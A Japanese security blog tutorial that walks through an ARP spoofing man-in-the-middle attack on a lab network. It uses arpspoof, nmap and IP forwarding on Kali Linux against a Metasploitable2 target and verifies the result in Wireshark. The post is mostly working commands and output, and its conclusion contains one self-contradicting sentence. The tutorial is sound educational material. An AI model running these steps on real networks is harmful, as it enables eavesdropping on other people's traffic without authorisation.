Security Record

セキュリティ全般に関する情報を発信しています

KaliLinux上でarpspoofを使ってARPスプーフィングをする方法

そもそもARPスプーフィングとは何か

「ARP」は、IPアドレスからMACアドレスを入手するために使われる仕組みです。

「ARPスプーフィング」とは、IPアドレスとMACアドレスの紐づけを改ざんして、本体届くはずのIPではなく、偽装したIPアドレスへ通信を誘導することです。

ARPスプーフィングをするにはいくつか方法があるみたいですが、今回はarpspoofコマンドを使用して試してみました。

標的となるサーバーはmetasploitable2で、各IPアドレスは以下の想定で実験を行います。

ルーター:192.168.28.1
攻撃者PC:192.168.28.3
標的PC:192.168.28.4

dsniff パッケージのインストール

dsniffとは様々な環境下でパスワードなどを傍受するためのスニッフィング(盗聴)ツール群になります。 この中にarpspoofも含まれています。 まず、arpspoofの含まれたdsniffパッケージをインストールするために下記コマンドを実行します。

┌──(root㉿kali)-[/home/kali]
└─# apt install dsniff 

arpspoofコマンドの実行

dsniffパッケージがインストールした後にarpspoofコマンドを実行するとコマンドの使い方が表示されます。これを参考にコマンドを組み立てて行きます。

┌──(root㉿kali)-[/home/kali]
└─# arpspoof                              
Version: 2.4
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

自分のネットワーク情報の確認

自分のネットワーク情報を確認します。 IPアドレス、MACアドレスそれぞれが下記である事が分かります。

IPアドレス:192.168.28.3
MACアドレス:08:00:27:06:b1:3c

┌──(root㉿kali)-[/home/kali]
└─# ifconfig eth0                         
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.28.3  netmask 255.255.255.0  broadcast 192.168.28.255
        inet6 fe80::1b11:4e1d:a933:c4ef  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:06:b1:3c  txqueuelen 1000  (イーサネット)
        RX packets 291  bytes 63409 (61.9 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1231  bytes 91020 (88.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

同一ネットワーク内にある標的PCのIPアドレスの確認

次に標的となるPCのIPアドレスを確認します。
今回は実験なので標的のIPアドレスは事前にわかっていますが、同一ネットワーク内のPCのIPアドレスを調べるにはポートスキャンツールのnmapを使用して下記コマンドを実行する事で取得する事が出来ます。

┌──(kali㉿kali)-[~]
└─$ nmap -F 192.168.28.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-17 14:16 JST
Nmap scan report for 192.168.28.3
Host is up (0.00011s latency).
All 100 scanned ports on 192.168.28.3 are in ignored states.
Not shown: 100 closed tcp ports (conn-refused)

Nmap scan report for 192.168.28.4
Host is up (0.0011s latency).
Not shown: 82 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
513/tcp  open  login
514/tcp  open  shell
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
8009/tcp open  ajp13

ルーターのIPアドレスの確認

routeコマンドを実行してCateway(ルーター)のIPアドレスを確認します。

┌──(root㉿kali)-[/home/kali]
└─# route add -net 0.0.0.0 netmask 255.255.255.0 gw 192.168.28.1

┌──(root㉿kali)-[/home/kali]
└─# route -n                       
カーネルIP経路テーブル
受信先サイト    ゲートウェイ    ネットマスク   フラグ Metric Ref 使用数 インタフェース
0.0.0.0         192.168.28.1    255.255.255.0   UG    0      0        0 eth0
192.168.28.0    0.0.0.0         255.255.255.0   U     100    0        0 eth0

IPフォワーディングを有効にする

IPフォワーディングはあるネットワークから受け取ったパケットを別のネットワークに転送する技術の事です。 IPフォワーディングを有効にするには/proc/sys/net/ipv4/ip_forwardの値を1にします。

┌──(root㉿kali)-[/home/kali]
└─# echo 1 > /proc/sys/net/ipv4/ip_forward
                                                                                                                        
┌──(root㉿kali)-[/home/kali]
└─# cat /proc/sys/net/ipv4/ip_forward
1

ARPテーブルの書き換え

ARPテーブルの書き換えの為、arpspoofを実行します。
2回実行するのは、送信と受信の両方が攻撃者のPCを経由して通信するようにする為、標的PCとルーターに対してそれぞれ実行する為です。

標的PCに偽の情報を送る

標的PCのARPテーブルにあるルーターのMACアドレスを、攻撃者PC(Kali Linux)のMACアドレスに書き換えます。

┌──(root㉿kali)-[~]
└─# arpspoof -i eth0 -t 192.168.28.4 192.168.28.1
8:0:27:6:b1:3c 8:0:27:40:9d:d5 0806 42: arp reply 192.168.28.1 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c 8:0:27:40:9d:d5 0806 42: arp reply 192.168.28.1 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c 8:0:27:40:9d:d5 0806 42: arp reply 192.168.28.1 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c 8:0:27:40:9d:d5 0806 42: arp reply 192.168.28.1 is-at 8:0:27:6:b1:3c
・・・延々と出力され続ける

ルーターに偽の情報を送る

ルーターのARPテーブルにある標的PCのMACアドレスを、攻撃者PC(Kali Linux)のMACアドレスに書き換えます。

┌──(root㉿kali)-[/home/kali]
└─# arpspoof -i eth0 -t 192.168.28.1 192.168.28.4
8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.4 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.4 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.4 is-at 8:0:27:6:b1:3c
8:0:27:6:b1:3c a:0:27:0:0:15 0806 42: arp reply 192.168.28.4 is-at 8:0:27:6:b1:3c
・・・延々と出力され続ける

Kali LinuxのMACアドレスを確認する

最初に自分のMACアドレスが08:00:27:06:b1:3cである事を確認しました。
arpspoof コマンド実行後は192.168.28.4192.168.28.1それぞれのMACアドレスが 08:00:27:06:b1:3cとして応答が帰ってきています。
ARPスプーフィングが成功したと思われます。

ARPスプーフィングの準備が整ったので、標的PCの通信内容が筒抜けになっているはずなので、確認するためにwiresharkを起動します。

wiresharkコマンドを起動

┌──(root㉿kali)-[~]
└─# wireshark

MACアドレスの確認

ARPのMACアドレスをwiresharkで確認してみます。 Kali Linux(攻撃端末)のMACアドレスが流れてきている事が分かります。 192.168.28.4192.168.28.1それぞれのMACアドレスが 08:00:27:06:b1:3cという偽の情報が何度も流れ込んでいるのが確認できます。

IPフォワーディングを無効にする

最後にIPフォワーディングを無効化しておきます。

┌──(root㉿kali)-[/home/kali]
└─# echo 0 > /proc/sys/net/ipv4/ip_forward
                                                                                                                        
┌──(root㉿kali)-[/home/kali]
└─# cat /proc/sys/net/ipv4/ip_forward
0

まとめ

ARPスプーフィング攻撃をされると、インターネットを経由しないLAN内のネットワークでも盗聴の可能性は発生します。ということはなさそうです。
また、近年ではスプーフィング攻撃は増加傾向にあり、より高度な手法によって攻撃が行われているようです。
ARPスプーフィングに限らず、IPアドレスは簡単に偽装出来てしまうため、 IPのみの認証は行わず、IPとパスワードを組み合わせるなどの工夫が必要になってくるかと思います。

参考

https://qiita.com/kinokoruumu/items/a4d98c5a55243b5afe96 https://qiita.com/UmedaTakefumi/items/19a0004f1675edf4e5f1 https://eset-info.canon-its.jp/malware_info/special/detail/200116.html